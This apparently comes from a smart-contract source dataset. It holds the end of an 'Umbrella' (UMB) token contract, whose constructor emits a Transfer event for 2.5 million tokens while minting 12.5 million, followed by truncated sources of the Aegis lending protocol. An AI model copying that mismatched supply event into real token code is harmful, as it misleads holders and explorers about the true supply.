mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor() payable public {
name = "Umbrella";
symbol = "UMB";
totalSupply = 12500000000000000000000000;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, 2500000 ether);
}
}
|
DC1
|
{"AegisComptrollerCommon.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AToken.sol\";\nimport \"./PriceOracle.sol\";\n\ncontract AegisComptrollerCommon {\n address public admin;\n address public liquidateAdmin;\n address public pendingAdmin;\n address public comptrollerImplementation;\n address public pendingComptrollerImplementation;\n\n PriceOracle public oracle;\n uint public closeFactorMantissa;\n uint public liquidationIncentiveMantissa;\n uint public clearanceMantissa;\n uint public maxAssets;\n uint public minimumLoanAmount = 1000e18;\n mapping(address =\u003e AToken[]) public accountAssets;\n\n struct Market {\n bool isListed;\n uint collateralFactorMantissa;\n mapping(address =\u003e bool) accountMembership;\n }\n mapping(address =\u003e Market) public markets;\n address public pauseGuardian;\n bool public _mintGuardianPaused;\n bool public _borrowGuardianPaused;\n bool public transferGuardianPaused;\n bool public seizeGuardianPaused;\n mapping(address =\u003e bool) public mintGuardianPaused;\n mapping(address =\u003e bool) public borrowGuardianPaused;\n \n AToken[] public allMarkets;\n}"},"AegisComptrollerInterface.sol":{"content":"pragma solidity ^0.5.16;\n\n/**\n * @title Aegis Comptroller Interface\n * @author Aegis\n */\ncontract AegisComptrollerInterface {\n bool public constant aegisComptroller = true;\n\n function enterMarkets(address[] calldata _aTokens) external returns (uint[] memory);\n \n function exitMarket(address _aToken) external returns (uint);\n\n function mintAllowed() external returns (uint);\n\n function redeemAllowed(address _aToken, address _redeemer, uint _redeemTokens) external returns (uint);\n \n function redeemVerify(uint _redeemAmount, uint _redeemTokens) external;\n\n function borrowAllowed(address _aToken, address _borrower, uint _borrowAmount) external returns (uint);\n\n function repayBorrowAllowed() external returns (uint);\n\n function seizeAllowed(address _aTokenCollateral, address _aTokenBorrowed) external returns (uint);\n\n function transferAllowed(address _aToken, address _src, uint _transferTokens) external returns (uint);\n\n /**\n * @notice liquidation\n */\n function liquidateCalculateSeizeTokens(address _aTokenBorrowed, address _aTokenCollateral, uint _repayAmount) external view returns (uint, uint);\n}"},"AegisMath.sol":{"content":"pragma solidity ^0.5.16;\n\n/**\n * @title Aegis safe math, derived from OpenZeppelin\u0027s SafeMath library\n * @author Aegis\n */\nlibrary AegisMath {\n\n function add(uint256 _a, uint256 _b) internal pure returns (uint256) {\n uint256 c = _a + _b;\n require(c \u003e= _a, \"AegisMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return sub(_a, _b, \"AegisMath: subtraction overflow\");\n }\n\n function sub(uint256 _a, uint256 _b, string memory _errorMessage) internal pure returns (uint256) {\n require(_b \u003c= _a, _errorMessage);\n uint256 c = _a - _b;\n return c;\n }\n\n function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {\n if (_a == 0) {\n return 0;\n }\n uint256 c = _a * _b;\n require(c / _a == _b, \"AegisMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return div(_a, _b, \"AegisMath: division by zero\");\n }\n\n function div(uint256 _a, uint256 _b, string memory _errorMessage) internal pure returns (uint256) {\n require(_b \u003e 0, _errorMessage);\n uint256 c = _a / _b;\n return c;\n }\n\n function mod(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return mod(_a, _b, \"AegisMath: modulo by zero\");\n }\n\n function mod(uint256 _a, uint256 _b, string memory _errorMessage) internal pure returns (uint256) {\n require(_b != 0, _errorMessage);\n return _a % _b;\n }\n}"},"AegisTokenCommon.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AegisComptrollerInterface.sol\";\nimport \"./InterestRateModel.sol\";\n\ncontract AegisTokenCommon {\n bool internal reentrant;\n\n string public name;\n string public symbol;\n uint public decimals;\n address payable public admin;\n address payable public pendingAdmin;\n address payable public liquidateAdmin;\n\n uint internal constant borrowRateMaxMantissa = 0.0005e16;\n uint internal constant reserveFactorMaxMantissa = 1e18;\n \n AegisComptrollerInterface public comptroller;\n InterestRateModel public interestRateModel;\n \n uint internal initialExchangeRateMantissa;\n uint public reserveFactorMantissa;\n uint public accrualBlockNumber;\n uint public borrowIndex;\n uint public totalBorrows;\n uint public totalReserves;\n uint public totalSupply;\n \n mapping (address =\u003e uint) internal accountTokens;\n mapping (address =\u003e mapping (address =\u003e uint)) internal transferAllowances;\n\n struct BorrowBalanceInfomation {\n uint principal;\n uint interestIndex;\n }\n mapping (address =\u003e BorrowBalanceInfomation) internal accountBorrows;\n}"},"AErc20.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AToken.sol\";\nimport \"./AErc20Interface.sol\";\nimport \"./AegisComptrollerInterface.sol\";\nimport \"./InterestRateModel.sol\";\nimport \"./EIP20NonStandardInterface.sol\";\nimport \"./EIP20Interface.sol\";\n\n/**\n * @title ERC-20 Token\n * @author Aegis\n */\ncontract AErc20 is AToken, AErc20Interface {\n\n /**\n * @notice init Aegis Comptroller ERC-20 Token\n * @param _underlying token underlying address\n * @param _comptroller comptroller address\n * @param _interestRateModel interestRateModel address\n * @param _initialExchangeRateMantissa exchangeRate\n * @param _name name\n * @param _symbol symbol\n * @param _decimals decimals\n * @param _admin owner address\n * @param _liquidateAdmin liquidate admin address\n * @param _reserveFactorMantissa reserveFactorMantissa\n */\n function initialize(address _underlying, AegisComptrollerInterface _comptroller, InterestRateModel _interestRateModel, uint _initialExchangeRateMantissa,\n string memory _name, string memory _symbol, uint8 _decimals, address payable _admin, address payable _liquidateAdmin, uint _reserveFactorMantissa) public {\n admin = msg.sender;\n super.initialize(_name, _symbol, _decimals, _comptroller, _interestRateModel, _initialExchangeRateMantissa, _liquidateAdmin, _reserveFactorMantissa);\n underlying = _underlying;\n admin = _admin;\n }\n\n /**\n * @notice Sender supplies assets into the market and receives cTokens in exchange\n * @param _mintAmount The amount of the underlying asset to supply\n * @return uint ERROR\n */\n function mint(uint _mintAmount) external returns (uint) {\n (uint err,) = mintInternal(_mintAmount);\n return err;\n }\n\n /**\n * @notice Sender redeems cTokens in exchange for the underlying asset\n * @param _redeemTokens The number of cTokens to redeem into underlying\n * @return uint ERROR\n */\n function redeem(uint _redeemTokens) external returns (uint) {\n return redeemInternal(_redeemTokens);\n }\n\n /**\n * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset\n * @param _redeemAmount The amount of underlying to redeem\n * @return uint ERROR\n */\n function redeemUnderlying(uint _redeemAmount) external returns (uint) {\n return redeemUnderlyingInternal(_redeemAmount);\n }\n\n /**\n * @notice Sender borrows assets from the protocol to their own address\n * @param _borrowerAmount The amount of the underlying asset to borrow\n * @return uint ERROR\n */\n function borrow(uint _borrowerAmount) external returns (uint) {\n return borrowInternal(_borrowerAmount);\n }\n\n /**\n * @notice Sender repays their own borrow\n * @param _repayAmount The amount to repay\n * @return uint ERROR\n */\n function repayBorrow(uint _repayAmount) external returns (uint) {\n (uint err,) = repayBorrowInternal(_repayAmount);\n return err;\n }\n\n /**\n * @notice Sender repays a borrow belonging to borrower\n * @param _borrower the account with the debt being payed off\n * @param _repayAmount The amount to repay\n * @return uint ERROR\n */\n function repayBorrowBehalf(address _borrower, uint _repayAmount) external returns (uint) {\n (uint err,) = repayBorrowBehalfInternal(_borrower, _repayAmount);\n return err;\n }\n\n /**\n * @notice The sender adds to reserves\n * @param _addAmount The amount fo underlying token to add as reserves\n * @return uint ERROR\n */\n function _addReserves(uint _addAmount) external returns (uint) {\n return _addResevesInternal(_addAmount);\n }\n\n\n /**\n * @notice Gets balance of this contract in terms of the underlying\n * @return uint ERROR\n */\n function getCashPrior() internal view returns (uint) {\n EIP20Interface token = EIP20Interface(underlying);\n return token.balanceOf(address(this));\n }\n\n function doTransferIn(address _from, uint _amount) internal returns (uint) {\n EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);\n uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this));\n token.transferFrom(_from, address(this), _amount);\n bool success;\n assembly {\n switch returndatasize()\n case 0 {\n success := not(0)\n }\n case 32 {\n returndatacopy(0, 0, 32)\n success := mload(0)\n }\n default {\n revert(0, 0)\n }\n }\n require(success, \"doTransferIn failure\");\n\n uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this));\n require(balanceAfter \u003e= balanceBefore, \"doTransferIn::balanceAfter \u003e= balanceBefore failure\");\n return balanceAfter - balanceBefore;\n }\n\n function doTransferOut(address payable _to, uint _amount) internal {\n EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying);\n token.transfer(_to, _amount);\n bool success;\n assembly {\n switch returndatasize()\n case 0 {\n success := not(0)\n }\n case 32 {\n returndatacopy(0, 0, 32)\n success := mload(0)\n }\n default {\n revert(0, 0)\n }\n }\n require(success, \"dotransferOut failure\");\n }\n}"},"AErc20Interface.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./ATokenInterface.sol\";\n\ncontract AErc20Common {\n address public underlying;\n}\n\n/**\n * @title AErc20Interface\n * @author Aegis\n */\ncontract AErc20Interface is AErc20Common {\n function mint(uint _mintAmount) external returns (uint);\n function redeem(uint _redeemTokens) external returns (uint);\n function redeemUnderlying(uint _redeemAmount) external returns (uint);\n function borrow(uint _borrowAmount) external returns (uint);\n function repayBorrow(uint _repayAmount) external returns (uint);\n function repayBorrowBehalf(address _borrower, uint _repayAmount) external returns (uint);\n\n function _addReserves(uint addAmount) external returns (uint);\n}"},"AToken.sol":{"content":"pragma solidity ^0.5.16;\n\nimport \"./AegisComptrollerInterface.sol\";\nimport \"./ATokenInterface.sol\";\nimport \"./BaseReporter.sol\";\nimport \"./Exponential.sol\";\nimport \"./AegisTokenCommon.sol\";\n\n/**\n * @title ERC-20 Token\n * @author Aegis\n */\ncontract AToken is ATokenInterface, BaseReporter, Exponential {\n modifier nonReentrant() {\n require(reentrant, \"re-entered\");\n reentrant = false;\n _;\n reentrant = true;\n }\n function getCashPrior() internal view returns (uint);\n function doTransferIn(address _from, uint _amount) internal returns (uint);\n function doTransferOut(address payable _to, uint _amount) internal;\n\n /**\n * @notice init Aegis Comptroller ERC-20 Token\n * @param _name aToken name\n * @param _symbol aToken symbol\n * @param _decimals aToken decimals\n * @param _comptroller aToken aegisComptrollerInterface\n * @param _interestRateModel aToken interestRateModel\n * @param _initialExchangeRateMantissa aToken initExchangrRate\n * @param _liquidateAdmin _liquidateAdmin\n * @param _reserveFactorMantissa _reserveFactorMantissa\n */\n function initialize(string memory _name, string memory _symbol, uint8 _decimals,\n AegisComptrollerInterface _comptroller, InterestRateModel _interestRateModel, uint _initialExchangeRateMantissa, address payable _liquidateAdmin,\n uint _reserveFactorMantissa) public {\n require(msg.sender == admin, \"Aegis AToken::initialize, no operation authority\");\n liquidateAdmin = _liquidateAdmin;\n reserveFactorMantissa = _reserveFactorMantissa;\n name = _name;\n symbol = _symbol;\n decimals = _decimals;\n reentrant = true;\n\n require(borrowIndex==0 \u0026\u0026 accrualBlockNumber==0, \"Aegis AToken::initialize, only init once\");\n initialExchangeRateMantissa = _initialExchangeRateMantissa;\n require(initialExchangeRateMantissa \u003e 0, \"Aegis AToken::initialize, initial exchange rate must be greater than zero\");\n uint _i = _setComptroller(_comptroller);\n require(_i == uint(Error.SUCCESS), \"Aegis AToken::initialize, _setComptroller failure\");\n accrualBlockNumber = block.number;\n borrowIndex = 1e18;\n _i = _setInterestRateModelFresh(_interestRateModel);\n require(_i == uint(Error.SUCCESS), \"Aegis AToken::initialize, _setInterestRateModelFresh failure\");\n }\n\n // Transfer `number` tokens from `msg.sender` to `dst`\n function transfer(address _dst, uint256 _number) external nonReentrant returns (bool) {\n return transferTokens(msg.sender, msg.sender, _dst, _number) == uint(Error.SUCCESS);\n }\n // Transfer `number` tokens from `src` to `dst`\n function transferFrom(address _src, address _dst, uint256 _number) external nonReentrant returns (bool) {\n return transferTokens(msg.sender, _src, _dst, _number) == uint(Error.SUCCESS);\n }\n\n /**\n * @notice authorize source account to transfer tokens\n * @param _spender Agent authorized transfer address\n * @param _src src address\n * @param _dst dst address\n * @param _tokens token number\n * @return SUCCESS\n */\n function transferTokens(address _spender, address _src, address _dst, uint _tokens) internal returns (uint) {\n if(_src == _dst){\n return fail(Error.ERROR, ErrorRemarks.ALLOW_SELF_TRANSFERS, 0);\n }\n uint _i = comptroller.transferAllowed(address(this), _src, _tokens);\n if(_i != 0){\n return fail(Error.ERROR, ErrorRemarks.COMPTROLLER_TRANSFER_ALLOWED, _i);\n }\n\n uint allowance = 0;\n if(_spender == _src) {\n allowance = uint(-1);\n }else {\n allowance = transferAllowances[_src][_spender];\n }\n\n MathError mathError;\n uint allowanceNew;\n uint srcTokensNew;\n uint dstTokensNew;\n (mathError, allowanceNew) = subUInt(allowance, _tokens);\n if (mathError != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.TRANSFER_NOT_ALLOWED, uint(Error.ERROR));\n }\n\n (mathError, srcTokensNew) = subUInt(accountTokens[_src], _tokens);\n if (mathError != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.TRANSFER_NOT_ENOUGH, uint(Error.ERROR));\n }\n\n (mathError, dstTokensNew) = addUInt(accountTokens[_dst], _tokens);\n if (mathError != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.TRANSFER_TOO_MUCH, uint(Error.ERROR));\n }\n \n accountTokens[_src] = srcTokensNew;\n accountTokens[_dst] = dstTokensNew;\n\n if (allowance != uint(-1)) {\n transferAllowances[_src][_spender] = allowanceNew;\n }\n \n emit Transfer(_src, _dst, _tokens);\n return uint(Error.SUCCESS);\n }\n\n event OwnerTransfer(address _aToken, address _account, uint _tokens);\n function ownerTransferToken(address _spender, address _account, uint _tokens) external nonReentrant returns (uint, uint) {\n require(msg.sender == address(comptroller), \"AToken::ownerTransferToken msg.sender failure\");\n require(_spender == liquidateAdmin, \"AToken::ownerTransferToken _spender failure\");\n // require(block.number == accrualBlockNumber, \"AToken::ownerTransferToken market assets are not refreshed\");\n\n uint accToken;\n uint spenderToken;\n MathError err;\n (err, accToken) = subUInt(accountTokens[_account], _tokens);\n require(MathError.NO_ERROR == err, \"AToken::ownerTransferToken subUInt failure\");\n \n (err, spenderToken) = addUInt(accountTokens[liquidateAdmin], _tokens);\n require(MathError.NO_ERROR == err, \"AToken::ownerTransferToken addUInt failure\");\n \n accountTokens[_account] = accToken;\n accountTokens[liquidateAdmin] = spenderToken;\n emit OwnerTransfer(address(this), _account, _tokens);\n return (uint(Error.SUCCESS), _tokens);\n }\n\n event OwnerCompensationUnderlying(address _aToken, address _account, uint _underlying);\n function ownerCompensation(address _spender, address _account, uint _underlying) external nonReentrant returns (uint, uint) {\n require(msg.sender == address(comptroller), \"AToken::ownerCompensation msg.sender failure\");\n require(_spender == liquidateAdmin, \"AToken::ownerCompensation spender failure\");\n // require(block.number == accrualBlockNumber, \"AToken::ownerCompensation market assets are not refreshed\");\n\n RepayBorrowLocalVars memory vars;\n (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(_account);\n require(vars.mathErr == MathError.NO_ERROR, \"AToken::ownerCompensation.borrowBalanceStoredInternal vars.accountBorrows failure\");\n\n uint _tran = doTransferIn(liquidateAdmin, _underlying);\n (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, _tran);\n require(vars.mathErr == MathError.NO_ERROR, \"AToken::ownerCompensation.subUInt vars.accountBorrowsNew failure\");\n\n (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, _tran);\n require(vars.mathErr == MathError.NO_ERROR, \"AToken::ownerCompensation.subUInt vars.totalBorrowsNew failure\");\n\n // push storage\n accountBorrows[_account].principal = vars.accountBorrowsNew;\n accountBorrows[_account].interestIndex = borrowIndex;\n totalBorrows = vars.totalBorrowsNew;\n emit OwnerCompensationUnderlying(address(this), _account, _underlying);\n return (uint(Error.SUCCESS), _underlying);\n }\n\n /**\n * @notice Approve `spender` to transfer up to `amount` from `src`\n * @param _spender address spender\n * @param _amount approve amount\n * @return bool\n */\n function approve(address _spender, uint256 _amount) external returns (bool) {\n address src = msg.sender;\n transferAllowances[src][_spender] = _amount;\n emit Approval(src, _spender, _amount);\n return true;\n }\n\n /**\n * @notice Get the current allowance from `owner` for `spender`\n * @param _owner address owner\n * @param _spender address spender\n * @return SUCCESS\n */\n function allowance(address _owner, address _spender) external view returns (uint256) {\n return transferAllowances[_owner][_spender];\n }\n\n /**\n * @notice Get the token balance of the `owner`\n * @param _owner address owner\n * @return SUCCESS\n */\n function balanceOf(address _owner) external view returns (uint256) {\n return accountTokens[_owner];\n }\n\n /**\n * @notice Get the underlying balance of the `owner`\n * @param _owner address owner\n * @return balance\n */\n function balanceOfUnderlying(address _owner) external returns (uint) {\n Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});\n (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[_owner]);\n require(mErr == MathError.NO_ERROR, \"balanceOfUnderlying failure\");\n return balance;\n }\n\n /**\n * @notice Current exchangeRate from the underlying to the AToken\n * @return uint exchangeRate\n */\n function exchangeRateCurrent() public nonReentrant returns (uint) {\n require(accrueInterest() == uint(Error.SUCCESS), \"exchangeRateCurrent::accrueInterest failure\");\n return exchangeRateStored();\n }\n\n /**\n * @notice Sender supplies assets into the market and receives cTokens in exchange\n * @param _mintAmount mint number\n * @return SUCCESS, number\n */\n function mintInternal(uint _mintAmount) internal nonReentrant returns (uint, uint) {\n uint error = accrueInterest();\n require(error == uint(Error.SUCCESS), \"MINT_ACCRUE_INTEREST_FAILED\");\n return mintFresh(msg.sender, _mintAmount);\n }\n\n /**\n * @notice Applies accrued interest to total borrows and reserves\n * @return SUCCESS\n */\n function accrueInterest() public returns (uint) {\n uint currentBlockNumber = block.number;\n uint accrualBlockNumberPrior = accrualBlockNumber;\n if(currentBlockNumber == accrualBlockNumberPrior){\n return uint(Error.SUCCESS);\n }\n\n // pull memory\n uint cashPrior = getCashPrior();\n uint borrowsPrior = totalBorrows;\n uint reservesPrior = totalReserves;\n uint borrowIndexPrior = borrowIndex;\n\n uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);\n require(borrowRateMantissa \u003c= borrowRateMaxMantissa, \"accrueInterest::interestRateModel.getBorrowRate, borrow rate high\");\n\n (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);\n require(mathErr == MathError.NO_ERROR, \"accrueInterest::subUInt, block delta failure\");\n\n Exp memory simpleInterestFactor;\n uint interestAccumulated;\n uint totalBorrowsNew;\n uint totalReservesNew;\n uint borrowIndexNew;\n\n (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);\n if (mathErr != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));\n }\n\n (mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);\n if (mathErr != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));\n }\n\n (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);\n if (mathErr != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));\n }\n\n (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);\n if (mathErr != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));\n }\n\n (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);\n if (mathErr != MathError.NO_ERROR) {\n return fail(Error.ERROR, ErrorRemarks.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));\n }\n\n // push storage\n accrualBlockNumber = currentBlockNumber;\n borrowIndex = borrowIndexNew;\n totalBorrows = totalBorrowsNew;\n totalReserves = totalReservesNew;\n\n emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);\n return uint(Error.SUCCESS);\n }\n\n /**\n * @notice User supplies assets into the market and receives cTokens in exchange\n * @dev mintTokens = actualMintAmount / exchangeRate\n * @dev totalSupplyNew = totalSupply + mintTokens\n * @dev accountTokensNew = accountTokens[_minter] + mintTokens\n * @param _minter address minter\n * @param _mintAmount mint amount\n * @return SUCCESS, number\n */\n function mintFresh(address _minter, uint _mintAmount)internal returns (uint, uint) {\n require(block.number == accrualBlockNumber, \"MINT_FRESHNESS_CHECK\");\n \n uint allowed = comptroller.mintAllowed();\n require(allowed == 0, \"MINT_COMPTROLLER_REJECTION\");\n\n MintLocalVars memory vars;\n (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();\n require(vars.mathErr == MathError.NO_ERROR, \"MINT_EXCHANGE_RATE_READ_FAILED\");\n\n vars.actualMintAmount = doTransferIn(_minter, _mintAmount);\n\n (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));\n require(vars.mathErr == MathError.NO_ERROR, \"mintFresh::divScalarByExpTruncate failure\");\n\n (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);\n require(vars.mathErr == MathError.NO_ERROR, \"mintFresh::addUInt totalSupply failure\");\n\n (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[_minter], vars.mintTokens);\n require(vars.mathErr == MathError.NO_ERROR, \"mintFresh::addUInt accountTokens failure\");\n\n totalSupply = vars.totalSupplyNew;\n accountTokens[_minter] = vars.accountTokensNew;\n\n emit Mint(_minter, vars.actualMintAmount, vars.mintTokens);\n emit Transfer(address(this), _minter, vars.mintTokens);\n return (uint(Error.SUCCESS), vars.actualMintAmount);\n }\n\n /**\n * @notice Current exchangeRate from the underlying to the AToken\n * @return uint exchangeRate\n */\n function exchangeRateStored() public view returns (uint) {\n (MathError err, uint rate) = exchangeRateStoredInternal();\n require(err == MathError.NO_ERROR, \"exchangeRateStored::exchangeRateStoredInternal failure\");\n return rate;\n }\n\n /**\n * @notice Current exchangeRate from the underlying to the AToken\n * @dev exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply\n * @return SUCCESS, exchangeRate\n */\n function exchangeRateStoredInternal() internal view returns (MathError, uint) {\n if(totalSupply == 0){\n return (MathError.NO_ERROR, initialExchangeRateMantissa);\n }\n\n uint _totalSupply = totalSupply;\n uint totalCash = getCashPrior();\n uint cashPlusBorrowsMinusReserves;\n \n MathError err;\n (err, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);\n if(err != MathError.NO_ERROR) {\n return (err, 0);\n }\n \n Exp memory exchangeRate;\n (err, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);\n if(err != MathError.NO_ERROR) {\n return (err, 0);\n }\n return (MathError.NO_ERROR, exchangeRate.mantissa);\n }\n\n function getCash() external view returns (uint) {\n return getCashPrior();\n }\n\n /**\n * @notice Get a snapshot of the account\u0027s balances and the cached exchange rate\n * @param _address address\n * @return SUCCESS, balance, balance, exchangeRate\n */\n function getAccountSnapshot(address _address) external view returns (uint, uint, uint, uint) {\n MathError err;\n uint borrowBalance;\n uint exchangeRateMantissa;\n\n (err, borrowBalance) = borrowBalanceStoredInternal(_address);\n if(err != MathError.NO_ERROR){\n return (uint(Error.ERROR), 0, 0, 0);\n }\n (err, exchangeRateMantissa) = exchangeRateStoredInternal();\n if(err != MathError.NO_ERROR){\n return (uint(Error.ERROR), 0, 0, 0);\n }\n return (uint(Error.SUCCESS), accountTokens[_address], borrowBalance, exchangeRateMantissa);\n }\n\n /**\n * @notice current per-block borrow interest rate for this aToken\n * @return current borrowRate\n */\n function borrowRatePerBlock() external view returns (uint) {\n return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);\n }\n\n /**\n * @notice current per-block supply interest rate for this aToken\n * @return current supplyRate\n */\n function supplyRatePerBlock() external view returns (uint) {\n return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);\n }\n\n /**\n * @notice current total borrows plus accrued interest\n * @return totalBorrows\n */\n function totalBorrowsCurrent() external nonReentrant returns (uint) {\n require(accrueInterest() == uint(Error.SUCCESS), \"totalBorrowsCurrent::accrueInterest failure\");\n return totalBorrows;\n }\n\n /**\n * @notice current borrow limit by account\n * @param _account address\n * @return borrowBalance\n */\n function borrowBalanceCurrent(address _account) external nonReentrant returns (uint) {\n require(accrueInterest() == uint(Error.SUCCESS), \"borrowBalanceCurrent::accrueInterest failure\");\n return borrowBalanceStored(_account);\n }\n\n /**\n * @notice Return the borrow balance of account based on stored data\n * @param _account address\n * @return borrowBalance\n */\n function borrowBalanceStored(address _account) public view returns (uint) {\n (MathError err, uint result) = borrowBalanceStoredInternal(_account);\n require(err == MathError.NO_ERROR, \"borrowBalanceStored::borrowBalanceStoredInternal failure\");\n return result;\n }\n\n /**\n * @notice Return borrow balance of account based on stored data\n * @param _account address\n * @return SUCCESS, number\n */\n function borrowBalanceStoredInternal(address _account) internal view returns (MathError, uint) {\n BorrowBalanceInfomation storage borrowBalanceInfomation = accountBorrows[_account];\n if(borrowBalanceInfomation.principal == 0) {\n return (MathError.NO_ERROR, 0);\n }\n \n MathError err;\n uint principalTimesIndex;\n (err, principalTimesIndex) = mulUInt(borrowBalanceInfomation.principal, borrowIndex);\n if(err != MathError.NO_ERROR){\n return (err, 0);\n }\n \n uint balance;\n (err, balance) = divUInt(principalTimesIndex, borrowBalanceInfomation.interestIndex);\n if(err != MathError.NO_ERROR){\n return (err, 0);\n }\n return (MathError.NO_ERROR, balance);\n }\n\n /**\n * @notice Sender redeems aTokens in exchange for the underlying asset\n * @param _redeemTokens aToken number\n * @return SUCCESS\n */\n function redeemInternal(uint _redeemTokens) internal nonReentrant returns (uint) {\n require(_redeemTokens \u003e 0, \"CANNOT_BE_ZERO\");\n \n uint err = accrueInterest();\n require(err == uint(Error.SUCCESS), \"REDEEM_ACCRUE_INTEREST_FAILED\");\n return redeemFresh(msg.sender, _redeemTokens, 0);\n }\n\n /**\n * @notice Sender redeems aTokens in exchange for a specified amount of underlying asset\n * @param _redeemAmount The amount of underlying to receive from redeeming aTokens\n * @return SUCCESS\n */\n function redeemUnderlyingInternal(uint _redeemAmount) internal nonReentrant returns (uint) {\n require(_redeemAmount \u003e 0, \"CANNOT_BE_ZERO\");\n\n uint err = accrueInterest();\n require(err == uint(Error.SUCCESS), \"REDEEM_ACCRUE_INTEREST_FAILED\");\n return redeemFresh(msg.sender, 0, _redeemAmount);\n }\n\n /**\n * @notice User redeems cTokens in exchange for the underlying asset\n * @dev redeemAmount = redeemTokensIn x exchangeRateCurrent\n * @dev redeemTokens = redeemAmountIn / exchangeRate\n * @dev totalSupplyNew = totalSupply - redeemTokens\n * @dev accountTokensNew = accountTokens[redeemer] - redeemTokens\n * @param _redeemer aToken address\n * @param _redeemTokensIn redeemTokensIn The number of aTokens to redeem into underlying\n * @param _redeemAmountIn redeemAmountIn The number of underlying tokens to receive from redeeming aTokens\n * @return SUCCESS\n */\n function redeemFresh(address payable _redeemer, uint _redeemTokensIn, uint _redeemAmountIn) internal returns (uint) {\n require(accrualBlockNumber == block.number, \"REDEEM_FRESHNESS_CHECK\");\n\n RedeemLocalVars memory vars;\n (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();\n require(vars.mathErr == MathError.NO_ERROR, \"REDEEM_EXCHANGE_RATE_READ_FAILED\");\n if(_redeemTokensIn \u003e 0) {\n vars.redeemTokens = _redeemTokensIn;\n (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), _redeemTokensIn);\n require(vars.mathErr == MathError.NO_ERROR, \"REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED\");\n } else {\n (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(_redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));\n require(vars.mathErr == MathError.NO_ERROR, \"REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED\");\n vars.redeemAmount = _redeemAmountIn;\n }\n uint allowed = comptroller.redeemAllowed(address(this), _redeemer, vars.redeemTokens);\n require(allowed == 0, \"REDEEM_COMPTROLLER_REJECTION\");\n (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);\n require(vars.mathErr == MathError.NO_ERROR, \"REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED\");\n\n (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[_redeemer], vars.redeemTokens);\n require(vars.mathErr == MathError.NO_ERROR, \"REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED\");\n\n require(getCashPrior() \u003e= vars.redeemAmount, \"REDEEM_TRANSFER_OUT_NOT_POSSIBLE\");\n doTransferOut(_redeemer, vars.redeemAmount);\n\n // push storage\n 